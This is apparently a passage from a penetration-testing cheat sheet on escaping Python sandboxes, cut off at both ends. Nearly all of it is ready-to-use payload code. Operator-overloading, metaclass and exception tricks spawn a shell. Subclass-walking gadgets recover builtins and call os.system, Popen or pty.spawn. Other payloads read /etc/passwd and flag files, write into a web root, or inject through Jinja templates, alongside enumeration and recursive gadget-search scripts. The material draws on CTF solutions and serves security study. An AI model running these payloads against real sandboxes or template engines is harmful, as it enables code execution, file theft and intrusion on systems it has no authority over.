__itruediv__ (k /= 'import os; os.system("sh")') (Note that this only works when from __future__ import division is in effect.)
__imod__ (k %= 'import os; os.system("sh")')
__ipow__ (k **= 'import os; os.system("sh")')
__ilshift__ (k<<= 'import os; os.system("sh")')
__irshift__ (k >>= 'import os; os.system("sh")')
__iand__ (k = 'import os; os.system("sh")')
__ior__ (k |= 'import os; os.system("sh")')
__ixor__ (k ^= 'import os; os.system("sh")')

The key thing that metaclasses allow us to do is make an instance of a class, without calling the constructor directly, by creating a new class with the target class as a metaclass.

# Code from https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ and fixed
# This will define the members of the "subclass"
class Metaclass(type):
    __getitem__ = exec # So Sub[string] will execute exec(string)
# Note: Metaclass.__class__ == type
    
class Sub(metaclass=Metaclass): # That's how we make Sub.__class__ == Metaclass
    pass # Nothing special to do

Sub['import os; os.system("sh")']

## You can also use the tricks from the previous section to get RCE with this object

Creating objects with exceptions

class RCE(Exception):
    def __init__(self):
        self += 'import os; os.system("sh")'
    __iadd__ = exec #Triggered when object is created
raise RCE #Generate RCE object


# RCE with __add__ overloading and try/except + raise generated object
class Klecko(Exception):
  __add__ = exec

try:
  raise Klecko
except Klecko as k:
  k + 'import os; os.system("sh")' #RCE abusing __add__
  
## You can also use the tricks from the previous section to get RCE with this object

More RCE

# From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/
# If sys is imported, you can sys.excepthook and trigger it by triggering an error
class X:
    def __init__(self, a, b, c):
        self += "os.system('sh')"
    __iadd__ = exec
sys.excepthook = X
1/0 #Trigger it

# From https://github.com/google/google-ctf/blob/master/2022/sandbox-treebox/healthcheck/solution.py
# The interpreter will try to import an apt-specific module to potentially 
# report an error in ubuntu-provided modules.
# Therefore the __import__ functions are overwritten with our RCE
class X():
  def __init__(self, a, b, c, d, e):
    self += "print(open('flag').read())"
  __iadd__ = eval
__builtins__.__import__ = X
{}[1337]

Read file with builtins help & license

__builtins__.__dict__["license"]._Printer__filenames=["flag"]
a = __builtins__.help
a.__class__.__enter__ = __builtins__.__dict__["license"]
a.__class__.__exit__ = lambda self, *args: None
with (a as b):
    pass

Builtins

If you can access the __builtins__ object you can import libraries (notice that you could also use here other string representation shown in the last section):

__builtins__.__import__("os").system("ls")
__builtins__.__dict__['__import__']("os").system("ls")

No Builtins

When you don't have __builtins__ you are not going to be able to import anything nor even read or write files as all the global functions (like open, import, print...) aren't loaded. However, by default python imports a lot of modules in memory. These modules may seem benign, but some of them are also importing dangerous functionalities inside of them that can be accessed to gain even arbitrary code execution.

In the following examples you can observe how to abuse some of this "benign" modules loaded to access dangerous functionalities inside of them.

Python2

#Try to reload __builtins__
reload(__builtins__)
import __builtin__

# Read recovering <type 'file'> in offset 40
().__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read()
# Write recovering <type 'file'> in offset 40
().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123')

# Execute recovering __import__ (class 59s is <class 'warnings.catch_warnings'>)
().__class__.__bases__[0].__subclasses__()[59]()._module.__builtins__['__import__']('os').system('ls')
# Execute (another method)
().__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__("func_globals")['linecache'].__dict__['os'].__dict__['system']('ls')
# Execute recovering eval symbol (class 59 is <class 'warnings.catch_warnings'>)
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]["eval"]("__import__('os').system('ls')")

# Or you could obtain the builtins from a defined function
get_flag.__globals__['__builtins__']['__import__']("os").system("ls")

Python3

# Obtain builtins from a globally defined function
# https://docs.python.org/3/library/functions.html
help.__call__.__builtins__ # or __globals__
license.__call__.__builtins__ # or __globals__
credits.__call__.__builtins__ # or __globals__
print.__self__
dir.__self__
globals.__self__
len.__self__
__build_class__.__self__

# Obtain the builtins from a defined function
get_flag.__globals__['__builtins__']

# Get builtins from loaded classes
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"]

Python2 and Python3

# Recover __builtins__ and make everything easier
__builtins__= [x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__
__builtins__["__import__"]('os').system('ls')

Builtins payloads

# Possible payloads once you have found the builtins
__builtins__["open"]("/etc/passwd").read()
__builtins__["__import__"]("os").system("ls")
# There are lots of other payloads that can be abused to execute commands
# See them below

Globals and locals

Checking the globals and locals is a good way to know what you can access.

>>> globals()
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'attr': <module 'attr' from '/usr/local/lib/python3.9/site-packages/attr.py'>, 'a': <class 'importlib.abc.Finder'>, 'b': <class 'importlib.abc.MetaPathFinder'>, 'c': <class 'str'>, '__warningregistry__': {'version': 0, ('MetaPathFinder.find_module() is deprecated since Python 3.4 in favor of MetaPathFinder.find_spec() (available since 3.4)', <class 'DeprecationWarning'>, 1): True}, 'z': <class 'str'>}
>>> locals()
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'attr': <module 'attr' from '/usr/local/lib/python3.9/site-packages/attr.py'>, 'a': <class 'importlib.abc.Finder'>, 'b': <class 'importlib.abc.MetaPathFinder'>, 'c': <class 'str'>, '__warningregistry__': {'version': 0, ('MetaPathFinder.find_module() is deprecated since Python 3.4 in favor of MetaPathFinder.find_spec() (available since 3.4)', <class 'DeprecationWarning'>, 1): True}, 'z': <class 'str'>}

# Obtain globals from a defined function
get_flag.__globals__

# Obtain globals from an object of a class
class_obj.__init__.__globals__

# Obtaining globals directly from loaded classes
[ x for x in ''.__class__.__base__.__subclasses__() if "__globals__" in dir(x) ]
[<class 'function'>]

# Obtaining globals from __init__ of loaded classes
[ x for x in ''.__class__.__base__.__subclasses__() if "__globals__" in dir(x.__init__) ]
[<class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'reprlib.Repr'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'rlcompleter.Completer'>, <class 'dis.Bytecode'>, <class 'string.Template'>, <class 'cmd.Cmd'>, <class 'tokenize.Untokenizer'>, <class 'inspect.BlockFinder'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'bdb.Bdb'>, <class 'bdb.Breakpoint'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class '__future__._Feature'>, <class 'codeop.Compile'>, <class 'codeop.CommandCompiler'>, <class 'code.InteractiveInterpreter'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>]
# Without the use of the dir() function
[ x for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__)]
[<class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'reprlib.Repr'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'rlcompleter.Completer'>, <class 'dis.Bytecode'>, <class 'string.Template'>, <class 'cmd.Cmd'>, <class 'tokenize.Untokenizer'>, <class 'inspect.BlockFinder'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'bdb.Bdb'>, <class 'bdb.Breakpoint'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class '__future__._Feature'>, <class 'codeop.Compile'>, <class 'codeop.CommandCompiler'>, <class 'code.InteractiveInterpreter'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>]

Discover Arbitrary Execution

Here I want to explain how to easily discover more dangerous functionalities loaded and propose more reliable exploits.

Accessing subclasses with bypasses

One of the most sensitive parts of this technique is being able to access the base subclasses. In the previous examples this was done using ''.__class__.__base__.__subclasses__() but there are other possible ways:

#You can access the base from mostly anywhere (in regular conditions)
"".__class__.__base__.__subclasses__()
[].__class__.__base__.__subclasses__()
{}.__class__.__base__.__subclasses__()
().__class__.__base__.__subclasses__()
(1).__class__.__base__.__subclasses__()
bool.__class__.__base__.__subclasses__()
print.__class__.__base__.__subclasses__()
open.__class__.__base__.__subclasses__()
defined_func.__class__.__base__.__subclasses__()

#You can also access it without "__base__" or "__class__"
# You can apply the previous technique also here
"".__class__.__bases__[0].__subclasses__()
"".__class__.__mro__[1].__subclasses__()
"".__getattribute__("__class__").mro()[1].__subclasses__()
"".__getattribute__("__class__").__base__.__subclasses__()

# This can be useful in case it is not possible to make calls (therefore using decorators)
().__class__.__class__.__subclasses__(().__class__.__class__)[0].register.__builtins__["breakpoint"]() # From https://github.com/salvatore-abello/python-ctf-cheatsheet/tree/main/pyjails#no-builtins-no-mro-single-exec

#If attr is present you can access everything as a string
# This is common in Django (and Jinja) environments
(''|attr('__class__')|attr('__mro__')|attr('__getitem__')(1)|attr('__subclasses__')()|attr('__getitem__')(132)|attr('__init__')|attr('__globals__')|attr('__getitem__')('popen'))('cat+flag.txt').read()
(''|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fmro\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')(1)|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(132)|attr('\x5f\x5finit\x5f\x5f')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('popen'))('cat+flag.txt').read()

Finding dangerous libraries loaded

For example, knowing that with the library sys it's possible to import arbitrary libraries, you can search for all the modules loaded that have imported sys inside of them:

[ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ]
['_ModuleLock', '_DummyModuleLock', '_ModuleLockManager', 'ModuleSpec', 'FileLoader', '_NamespacePath', '_NamespaceLoader', 'FileFinder', 'zipimporter', '_ZipImportResourceReader', 'IncrementalEncoder', 'IncrementalDecoder', 'StreamReaderWriter', 'StreamRecoder', '_wrap_close', 'Quitter', '_Printer', 'WarningMessage', 'catch_warnings', '_GeneratorContextManagerBase', '_BaseExitStack', 'Untokenizer', 'FrameSummary', 'TracebackException', 'CompletedProcess', 'Popen', 'finalize', 'NullImporter', '_HackedGetData', '_localized_month', '_localized_day', 'Calendar', 'different_locale', 'SSLObject', 'Request', 'OpenerDirector', 'HTTPPasswordMgr', 'AbstractBasicAuthHandler', 'AbstractDigestAuthHandler', 'URLopener', '_PaddedFile', 'CompressedValue', 'LogRecord', 'PercentStyle', 'Formatter', 'BufferingFormatter', 'Filter', 'Filterer', 'PlaceHolder', 'Manager', 'LoggerAdapter', '_LazyDescr', '_SixMetaPathImporter', 'MimeTypes', 'ConnectionPool', '_LazyDescr', '_SixMetaPathImporter', 'Bytecode', 'BlockFinder', 'Parameter', 'BoundArguments', 'Signature', '_DeprecatedValue', '_ModuleWithDeprecations', 'Scrypt', 'WrappedSocket', 'PyOpenSSLContext', 'ZipInfo', 'LZMACompressor', 'LZMADecompressor', '_SharedFile', '_Tellable', 'ZipFile', 'Path', '_Flavour', '_Selector', 'JSONDecoder', 'Response', 'monkeypatch', 'InstallProgress', 'TextProgress', 'BaseDependency', 'Origin', 'Version', 'Package', '_Framer', '_Unframer', '_Pickler', '_Unpickler', 'NullTranslations']

There are a lot, and we just need one to execute commands:

[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")

We can do the same thing with other libraries that we know can be used to execute commands:

#os
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" in x.__init__.__globals__ ][0]["os"].system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" == x.__init__.__globals__["__name__"] ][0]["system"]("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'os." in str(x) ][0]['system']('ls')

#subprocess
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "subprocess" == x.__init__.__globals__["__name__"] ][0]["Popen"]("ls")
[ x for x in ''.__class__.__base__.__subclasses__() if "'subprocess." in str(x) ][0]['Popen']('ls')
[ x for x in ''.__class__.__base__.__subclasses__() if x.__name__ == 'Popen' ][0]('ls')

#builtins
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "__bultins__" in x.__init__.__globals__ ]
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"].__import__("os").system("ls")

#sys
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'_sitebuiltins." in str(x) and not "_Helper" in str(x) ][0]["sys"].modules["os"].system("ls")

#commands (not very common)
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "commands" in x.__init__.__globals__ ][0]["commands"].getoutput("ls")

#pty (not very common)
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pty" in x.__init__.__globals__ ][0]["pty"].spawn("ls")

#importlib
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "importlib" in x.__init__.__globals__ ][0]["importlib"].import_module("os").system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "importlib" in x.__init__.__globals__ ][0]["importlib"].__import__("os").system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'imp." in str(x) ][0]["importlib"].import_module("os").system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'imp." in str(x) ][0]["importlib"].__import__("os").system("ls")

#pdb
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pdb" in x.__init__.__globals__ ][0]["pdb"].os.system("ls")

Moreover, we could even search which modules are loading malicious libraries:

bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
for b in bad_libraries_names:
     vuln_libs = [ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and b in x.__init__.__globals__ ]
     print(f"{b}: {', '.join(vuln_libs)}")

"""
os: CompletedProcess, Popen, NullImporter, _HackedGetData, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, CompressedValue, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, HTTPConnection, MimeTypes, BlockFinder, Parameter, BoundArguments, Signature, _FragList, _SSHFormatECDSA, CertificateSigningRequestBuilder, CertificateBuilder, CertificateRevocationListBuilder, RevokedCertificateBuilder, _CallbackExceptionHelper, Context, Connection, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, Cookie, CookieJar, BaseAdapter, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _WrappedLock, Cache, ProblemResolver, _FilteredCacheHelper, FilteredCache, NullTranslations
commands: 
subprocess: BaseDependency, Origin, Version, Package
pty: 
importlib: NullImporter, _HackedGetData, BlockFinder, Parameter, BoundArguments, Signature, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path
imp: 
sys: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, zipimporter, _ZipImportResourceReader, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, _wrap_close, Quitter, _Printer, WarningMessage, catch_warnings, _GeneratorContextManagerBase, _BaseExitStack, Untokenizer, FrameSummary, TracebackException, CompletedProcess, Popen, finalize, NullImporter, _HackedGetData, _localized_month, _localized_day, Calendar, different_locale, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, CompressedValue, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, _LazyDescr, _SixMetaPathImporter, MimeTypes, ConnectionPool, _LazyDescr, _SixMetaPathImporter, Bytecode, BlockFinder, Parameter, BoundArguments, Signature, _DeprecatedValue, _ModuleWithDeprecations, Scrypt, WrappedSocket, PyOpenSSLContext, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, JSONDecoder, Response, monkeypatch, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _Framer, _Unframer, _Pickler, _Unpickler, NullTranslations, _wrap_close
builtins: FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, Repr, Completer, CompletedProcess, Popen, _PaddedFile, BlockFinder, Parameter, BoundArguments, Signature
pdb:
"""

Moreover, if you think other libraries may be able to invoke functions to execute commands, we can also filter by functions names inside the possible libraries:

bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
bad_func_names = ["system", "popen", "getstatusoutput", "getoutput", "call", "Popen", "spawn", "import_module", "__import__", "load_source", "execfile", "execute", "__builtins__"]
for b in bad_libraries_names + bad_func_names:
     vuln_funcs = [ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) for k in x.__init__.__globals__ if k == b ]
     print(f"{b}: {', '.join(vuln_funcs)}")
     
"""
os: CompletedProcess, Popen, NullImporter, _HackedGetData, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, CompressedValue, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, HTTPConnection, MimeTypes, BlockFinder, Parameter, BoundArguments, Signature, _FragList, _SSHFormatECDSA, CertificateSigningRequestBuilder, CertificateBuilder, CertificateRevocationListBuilder, RevokedCertificateBuilder, _CallbackExceptionHelper, Context, Connection, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, Cookie, CookieJar, BaseAdapter, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _WrappedLock, Cache, ProblemResolver, _FilteredCacheHelper, FilteredCache, NullTranslations
commands: 
subprocess: BaseDependency, Origin, Version, Package
pty: 
importlib: NullImporter, _HackedGetData, BlockFinder, Parameter, BoundArguments, Signature, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path
imp: 
sys: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, zipimporter, _ZipImportResourceReader, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, _wrap_close, Quitter, _Printer, WarningMessage, catch_warnings, _GeneratorContextManagerBase, _BaseExitStack, Untokenizer, FrameSummary, TracebackException, CompletedProcess, Popen, finalize, NullImporter, _HackedGetData, _localized_month, _localized_day, Calendar, different_locale, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, CompressedValue, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, _LazyDescr, _SixMetaPathImporter, MimeTypes, ConnectionPool, _LazyDescr, _SixMetaPathImporter, Bytecode, BlockFinder, Parameter, BoundArguments, Signature, _DeprecatedValue, _ModuleWithDeprecations, Scrypt, WrappedSocket, PyOpenSSLContext, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, JSONDecoder, Response, monkeypatch, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _Framer, _Unframer, _Pickler, _Unpickler, NullTranslations, _wrap_close
builtins: FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, Repr, Completer, CompletedProcess, Popen, _PaddedFile, BlockFinder, Parameter, BoundArguments, Signature
pip:
pdb:
system: _wrap_close, _wrap_close
getstatusoutput: CompletedProcess, Popen
getoutput: CompletedProcess, Popen
call: CompletedProcess, Popen
Popen: CompletedProcess, Popen
spawn: 
import_module: 
__import__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec
load_source: NullImporter, _HackedGetData
execfile: 
execute: 
__builtins__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, zipimporter, _ZipImportResourceReader, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, _wrap_close, Quitter, _Printer, DynamicClassAttribute, _GeneratorWrapper, WarningMessage, catch_warnings, Repr, partialmethod, singledispatchmethod, cached_property, _GeneratorContextManagerBase, _BaseExitStack, Completer, State, SubPattern, Tokenizer, Scanner, Untokenizer, FrameSummary, TracebackException, _IterationGuard, WeakSet, _RLock, Condition, Semaphore, Event, Barrier, Thread, CompletedProcess, Popen, finalize, _TemporaryFileCloser, _TemporaryFileWrapper, SpooledTemporaryFile, TemporaryDirectory, NullImporter, _HackedGetData, DOMBuilder, DOMInputSource, NamedNodeMap, TypeInfo, ReadOnlySequentialNamedNodeMap, ElementInfo, Template, Charset, Header, _ValueFormatter, _localized_month, _localized_day, Calendar, different_locale, AddrlistClass, _PolicyBase, BufferedSubFile, FeedParser, Parser, BytesParser, Message, HTTPConnection, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, Address, Group, HeaderRegistry, ContentManager, CompressedValue, _Feature, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, _LazyDescr, _SixMetaPathImporter, Queue, _PySimpleQueue, HMAC, Timeout, Retry, HTTPConnection, MimeTypes, RequestField, RequestMethods, DeflateDecoder, GzipDecoder, MultiDecoder, ConnectionPool, CharSetProber, CodingStateMachine, CharDistributionAnalysis, JapaneseContextAnalysis, UniversalDetector, _LazyDescr, _SixMetaPathImporter, Bytecode, BlockFinder, Parameter, BoundArguments, Signature, _DeprecatedValue, _ModuleWithDeprecations, DSAParameterNumbers, DSAPublicNumbers, DSAPrivateNumbers, ObjectIdentifier, ECDSA, EllipticCurvePublicNumbers, EllipticCurvePrivateNumbers, RSAPrivateNumbers, RSAPublicNumbers, DERReader, BestAvailableEncryption, CBC, XTS, OFB, CFB, CFB8, CTR, GCM, Cipher, _CipherContext, _AEADCipherContext, AES, Camellia, TripleDES, Blowfish, CAST5, ARC4, IDEA, SEED, ChaCha20, _FragList, _SSHFormatECDSA, Hash, SHAKE128, SHAKE256, BLAKE2b, BLAKE2s, NameAttribute, RelativeDistinguishedName, Name, RFC822Name, DNSName, UniformResourceIdentifier, DirectoryName, RegisteredID, IPAddress, OtherName, Extensions, CRLNumber, AuthorityKeyIdentifier, SubjectKeyIdentifier, AuthorityInformationAccess, SubjectInformationAccess, AccessDescription, BasicConstraints, DeltaCRLIndicator, CRLDistributionPoints, FreshestCRL, DistributionPoint, PolicyConstraints, CertificatePolicies, PolicyInformation, UserNotice, NoticeReference, ExtendedKeyUsage, TLSFeature, InhibitAnyPolicy, KeyUsage, NameConstraints, Extension, GeneralNames, SubjectAlternativeName, IssuerAlternativeName, CertificateIssuer, CRLReason, InvalidityDate, PrecertificateSignedCertificateTimestamps, SignedCertificateTimestamps, OCSPNonce, IssuingDistributionPoint, UnrecognizedExtension, CertificateSigningRequestBuilder, CertificateBuilder, CertificateRevocationListBuilder, RevokedCertificateBuilder, _OpenSSLError, Binding, _X509NameInvalidator, PKey, _EllipticCurve, X509Name, X509Extension, X509Req, X509, X509Store, X509StoreContext, Revoked, CRL, PKCS12, NetscapeSPKI, _PassphraseHelper, _CallbackExceptionHelper, Context, Connection, _CipherContext, _CMACContext, _X509ExtensionParser, DHPrivateNumbers, DHPublicNumbers, DHParameterNumbers, _DHParameters, _DHPrivateKey, _DHPublicKey, Prehashed, _DSAVerificationContext, _DSASignatureContext, _DSAParameters, _DSAPrivateKey, _DSAPublicKey, _ECDSASignatureContext, _ECDSAVerificationContext, _EllipticCurvePrivateKey, _EllipticCurvePublicKey, _Ed25519PublicKey, _Ed25519PrivateKey, _Ed448PublicKey, _Ed448PrivateKey, _HashContext, _HMACContext, _Certificate, _RevokedCertificate, _CertificateRevocationList, _CertificateSigningRequest, _SignedCertificateTimestamp, OCSPRequestBuilder, _SingleResponse, OCSPResponseBuilder, _OCSPResponse, _OCSPRequest, _Poly1305Context, PSS, OAEP, MGF1, _RSASignatureContext, _RSAVerificationContext, _RSAPrivateKey, _RSAPublicKey, _X25519PublicKey, _X25519PrivateKey, _X448PublicKey, _X448PrivateKey, Scrypt, PKCS7SignatureBuilder, Backend, GetCipherByName, WrappedSocket, PyOpenSSLContext, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, RawJSON, JSONDecoder, JSONEncoder, Cookie, CookieJar, MockRequest, MockResponse, Response, BaseAdapter, UnixHTTPConnection, monkeypatch, JSONDecoder, JSONEncoder, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _WrappedLock, Cache, ProblemResolver, _FilteredCacheHelper, FilteredCache, _Framer, _Unframer, _Pickler, _Unpickler, NullTranslations, _wrap_close
"""

Recursive Search of Builtins, Globals...

This is just awesome. If you are looking for an object like globals, builtins, open or anything just use this script to recursively find places where you can find that object.

import os, sys # Import these to find more gadgets

SEARCH_FOR = {
    # Misc
    "__globals__": set(),
    "builtins": set(),
    "__builtins__": set(),
    "open": set(),
    
    # RCE libs
    "os": set(),
    "subprocess": set(),
    "commands": set(),
    "pty": set(),
    "importlib": set(),
    "imp": set(),
    "sys": set(),
    "pip": set(),
    "pdb": set(),
    
    # RCE methods
    "system": set(),
    "popen": set(),
    "getstatusoutput": set(),
    "getoutput": set(),
    "call": set(),
    "Popen": set(),
    "popen": set(),
    "spawn": set(),
    "import_module": set(),
    "__import__": set(),
    "load_source": set(),
    "execfile": set(),
    "execute": set()
}

#More than 4 is very time consuming
MAX_CONT = 4

#The ALREADY_CHECKED makes the script run much faster, but some solutions won't be found
#ALREADY_CHECKED = set()

def check_recursive(element, cont, name, orig_n, orig_i, execute):
    # If bigger than maximum, stop
    if cont > MAX_CONT:
        return
    
    # If already checked, stop
    #if name and name in ALREADY_CHECKED:
    #    return
    
    # Add to already checked
    #if name:
